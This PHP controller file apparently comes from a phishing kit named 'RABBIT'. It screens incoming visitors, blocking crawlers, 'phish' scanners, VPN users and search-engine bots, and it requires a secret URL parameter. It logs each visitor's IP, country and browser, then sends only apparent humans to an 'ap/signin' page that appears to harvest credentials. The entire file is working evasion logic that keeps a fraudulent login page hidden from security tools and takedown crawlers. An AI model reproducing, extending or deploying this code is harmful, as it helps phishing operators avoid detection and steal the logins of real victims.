<?php
defined("ALLOW") or exit('No direct script access allowed');

class Home
{
	public function __construct()
	{
		$this->goRABBIT = new goRABBIT();
		$getInfo = _geoGet($this->goRABBIT->ip_address);

		foreach ($getInfo as $k => $v) {
			$_SESSION[$k] = $v;
		}
	}

	public function index()
	{

		if (preg_match("/bot|crawler|spider|aws|curl|slurp|phish|search|libwww-perl|python|archiver|transcoder|spider|uptime|validator|fetcher|cron|check|reader|extractor|monitoring|analyz/", $_SERVER['HTTP_USER_AGENT'])) {
			write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
			_blocks();
			redirect(uriRand());
		}

		if (_config('VPNDETECT') == 'on') {
			if (RABBITGET($this->goRABBIT->ip_address)) {
				write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED VPN\r\n");
				_blocks();
				redirect(uriRand());

			} else if (RABBITX($this->goRABBIT->ip_address)) {
		    write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY IPAPI\r\n");
				_blocks();
				redirect(uriRand());

			} else if (blackbox($this->goRABBIT->ip_address)) {
				write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED VPN\r\n");
				_blocks();
				redirect(uriRand());
			}
		}

		if ($this->goRABBIT->is_robot) {
			write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
			_blocks();
			redirect(uriRand());
		}

		if (!isset($_GET[_config('PARAMETER')])) {
			write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED NO PARAM\r\n");
			_blocks();
			redirect(uriRand());
		}

		if (_config('BLOCKER') == 'on') {
			if (!empty(_rabbit('KEY'))) {
				if (RBBT($this->goRABBIT->ip_address, 'googlebot')) {
					write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
					write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY RABBIT\r\n");
					_blocks();
					redirect(uriRand());
				} else if (RBBT($this->goRABBIT->ip_address, 'bingbot')) {
					write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
					write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY RABBIT\r\n");
					_blocks();
					redirect(uriRand());
				} else if (RBBT($this->goRABBIT->ip_address, 'applebot')) {
					write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
					write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY RABBIT\r\n");
					_blocks();
					redirect(uriRand());
				} else if (RBBT($this->goRABBIT->ip_address, 'yahooslurp')) {
					write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
					write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY RABBIT\r\n");
					_blocks();
					redirect(uriRand());
				} else if (RBBT($this->goRABBIT->ip_address, 'yandexbot')) {
					write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
					write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY RABBIT\r\n");
					_blocks();
					redirect(uriRand());
				}
			}
		}

		if (_config('BOTBLOCKER') == 'on') {
			if (!empty(_botblocker('KEY'))) {
				if (botblocker($this->goRABBIT->ip_address, $this->goRABBIT->agent)) {
					write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY BOTBLOCKER\r\n");
					write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY BOTBLOCKER\r\n");
					_blocks();
					redirect(uriRand());
				}
			}
		}


		if (_config('STOPBOT') == 'on') {
			if (!empty(_stopbot('KEY'))) {
				if (stopbot($this->goRABBIT->ip_address, $this->goRABBIT->agent)) {
					write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY STOPBOT\r\n");
					write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}||BLOCKED BY STOPBOT\r\n");
					_blocks();
					redirect(uriRand());
				}
			}
		}

		$_SESSION['access'] = 1;
		write(FCPATH . 'RABBIT/Static/log_human.txt', 'a', "{$this->goRABBIT->ip_address}| HUMAN\r\n");
		write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|HUMAN\r\n");
		redirect(base_url() . 'ap/signin?verify_id=' . rand(109, 100000) . '');
	}
}
